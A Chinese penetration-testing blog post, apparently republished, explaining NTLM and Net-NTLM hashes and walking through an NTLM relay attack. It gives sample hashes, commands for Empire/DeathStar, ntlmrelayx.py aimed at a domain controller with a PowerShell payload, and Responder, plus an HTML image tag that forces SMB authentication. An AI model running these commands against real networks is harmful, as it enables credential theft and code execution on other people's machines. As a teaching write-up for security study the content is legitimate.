内网渗透中的NTLM-Hash Relay

基础知识



NTLN和Net-NTLM


1、NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击,我博客中前文也有介绍过。
2、Net-NTLM(V1/V2)的hash值是基于用户的NT的hash值经过一定的算法产生的。

#NTLM-Hash
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42  前面是LMhash后面是NT的Hash
#Net-NTLM-Hash
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

NTLM认证攻击的原理


说到底,在使用一些服务的过程中,需要带有windows的自身的认证信息,其实就是Net-NTLM的Hash,而这些东西你可以使用像Responder或者Inveigh这些工具获得。然后你获取了这个Net-NTLM的Hash,就可以转给真正的验证服务器去验证,从而作为攻击者的你就可以通过真实的服务器的身份验证,这种攻击方式就称作NTLM中继攻击。

攻击场景


控制受害者访问一个站点(不存在的最好),你作为攻击者对此作出应答,认证信息会传到你的攻击者的机器上,你对此再做转发,去真实的服务器上认证,即可获取真正服务器的权限。

攻击流程



攻击准备


  • Kali(Ubuntu) 攻击笔记本一台
  • Windows客户端一台
  • Windows服务器一台

攻击工具


启动Empire


1、启动Empire的RestFUL-API

2、然后创建powershell脚本

launcher powershell DeathStar

3、打开DeathStar

root@kali:~/DeathStar# ./DeathStar.py --listener-ip kali_ip -t 100 -u admin -p admin

4、开启中继

ntlmrelayx.py -t target_ip(例如域控) -c 'powershell脚本生成的内容'

5、打开Responder.py

先修改文件(Responder.py):

然后

python Responder.py -I eth0 -r -d –v

6、结果


可以看出中继是认证成功的,但是rpc调用失败了,因为权限不够。

扩展-使用CSRF控制客户端去请求:


在浏览器沙箱不断发展的几天,很多伪协议或者文件协议的访问方式都已经被禁止了,但是SMB依然可以

<img src='\WIN-8JQH4CQEJIRUserimg1.jpg'>

这样就可以实现控制的访问。

原文地址:https://www.cnblogs.com/KevinGeorge/p/9508820.html